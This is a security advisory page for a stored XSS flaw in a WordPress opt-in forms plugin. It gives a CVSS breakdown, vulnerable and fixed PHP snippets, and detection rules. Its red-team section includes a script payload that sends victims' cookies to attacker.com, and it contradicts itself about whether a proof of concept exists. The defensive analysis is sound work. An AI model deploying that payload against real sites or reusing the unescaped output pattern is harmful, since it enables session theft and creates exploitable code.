CVE-2023-52192
Executive Summary
CVE-2023-52192 is a Stored Cross-Site Scripting (XSS) vulnerability in the Keap Official Opt-in Forms WordPress plugin, affecting versions through 1.0.11. This vulnerability allows an attacker to inject malicious scripts into web pages generated by the plugin, which are then stored and executed in the browsers of other users. The vulnerability is classified as a WordPress ecosystem issue, as the plugin is designed for WordPress sites.
The vulnerability has a CVSS score of 6.5 (Medium), with a low attack complexity and no privileges required for exploitation. However, user interaction is required for the attack to succeed. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time. No public proof-of-concept (PoC) code or exploit is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the Keap Official Opt-in Forms WordPress plugin. As a WordPress plugin, it is distributed through the WordPress plugin repository and potentially through third-party marketplaces. The lack of a patch from the vendor (Keap) means that all sites using this plugin are at risk. Organizations should treat this as a supply chain risk and consider removing or replacing the plugin until a fix is available.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
- User Interaction (UI): Required (R) – The victim must interact with the malicious content (e.g., click a link or view a page).
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure is possible.
- Integrity (I): Low (L) – Limited modification of data is possible.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS to affect multiple users elevates the risk for WordPress sites using this plugin.
Deep Dive & Mechanics
The vulnerability resides in the Keap Official Opt-in Forms plugin, which is used to embed opt-in forms on WordPress sites. The plugin fails to properly sanitize user-supplied input before including it in generated web pages. This allows an attacker to inject arbitrary HTML and JavaScript code, which is then stored on the server (e.g., in the WordPress database) and executed when other users view the affected page.
Root Cause: The plugin uses echo or similar output functions without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), or wp_kses_post()) to user-controlled data. This is a classic case of Improper Neutralization of Input During Web Page Generation (CWE-79).
Attack Flow:
- An attacker identifies a WordPress site using the vulnerable plugin.
- The attacker submits a form field (e.g., name, email, or custom field) containing a malicious payload, such as
<script>alert('XSS')</script>. - The plugin stores this payload in the WordPress database without sanitization.
- When an administrator or other user views the page containing the opt-in form (e.g., the submissions list or a preview), the payload is executed in their browser.
- The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical example of the vulnerable code and how it should be fixed.
Vulnerable Code (example from plugin):
<?php
// Vulnerable: Direct output without sanitization
echo '<div class="keap-field">' . $_POST['field_value'] . '</div>';
?>
Patched Code (recommended fix):
<?php
// Patched: Use WordPress escaping functions
echo '<div class="keap-field">' . esc_html( $_POST['field_value'] ) . '</div>';
?>
The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with the Keap Official Opt-in Forms plugin (version <= 1.0.11) installed and activated.
- A form field that accepts user input and displays it on a page (e.g., a custom field in the opt-in form).
Exploitation Steps:
- Navigate to the WordPress site's opt-in form page.
- Submit the form with a malicious payload in a vulnerable field. Example payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - The payload is stored and executed when an administrator views the submissions or the form preview.
- The attacker receives the victim's cookies via their server.
Note: No public exploit code is available, so this is a theoretical exploitation scenario.
Blue Team (Defender)
Detection Steps:
- Monitor for Suspicious Form Submissions: Look for form submissions containing
<script>,<img onerror>, or other HTML/JavaScript tags in fields that are displayed on the site. - Review Plugin Settings: Check the Keap plugin settings for any unexpected or malicious content in form fields.
- Use Web Application Firewall (WAF): Deploy a WAF rule to block common XSS payloads in form submissions.
- Audit User Activity: Review logs for unusual administrative actions, such as changes to form fields or plugin settings.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown or suspicious domains from the WordPress server.
- Requests containing JavaScript payloads in form data (e.g.,
<script>,onerror,onload).
- Host IOCs:
- Unexpected JavaScript code in the WordPress database, particularly in the
wp_postmetaorwp_optionstables. - Modified plugin files (e.g.,
keap-official-opt-in-forms.php) containing injected code.
- Unexpected JavaScript code in the WordPress database, particularly in the
- File IOCs:
- Presence of files in the WordPress uploads directory with names like
xss_payload.htmlor similar.
- Presence of files in the WordPress uploads directory with names like
Detection Engineering
YARA Rule
rule CVE_2023_52192_Keap_XSS {
meta:
description = "Detects stored XSS payloads in Keap Official Opt-in Forms plugin"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2023-52192"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
$xss3 = /onload\s*=\s*["']?[^"']*["']?/is
$keap_ref = /keap-official-opt-in-forms/i
condition:
any of ($xss*) and $keap_ref
}
Sigma Rule
title: CVE-2023-52192 - Stored XSS in Keap Opt-in Forms
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS attacks targeting the Keap Official Opt-in Forms plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http_method: 'POST'
http_path: '/wp-admin/admin-ajax.php' # Example path for form submission
http_body|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in form fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-52192 - Keap Opt-in Forms Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Plugin: Deactivate and remove the Keap Official Opt-in Forms plugin from all WordPress sites until a patch is released.
- Replace with Alternative: Use a different opt-in form plugin that is actively maintained and patched.
- Apply Virtual Patching: If a WAF is in place, create a custom rule to block form submissions containing HTML/JavaScript tags.
Long-Term Fix:
- The vendor (Keap) must release a patched version of the plugin that properly sanitizes user input using WordPress escaping functions.
- Until then, organizations should monitor the plugin's repository for updates and apply them immediately.
General Best Practices:
- Always use WordPress's built-in escaping functions (
esc_html(),esc_attr(),wp_kses_post()) when outputting user data. - Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.
- Regularly audit plugins for known vulnerabilities using tools like WPScan.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.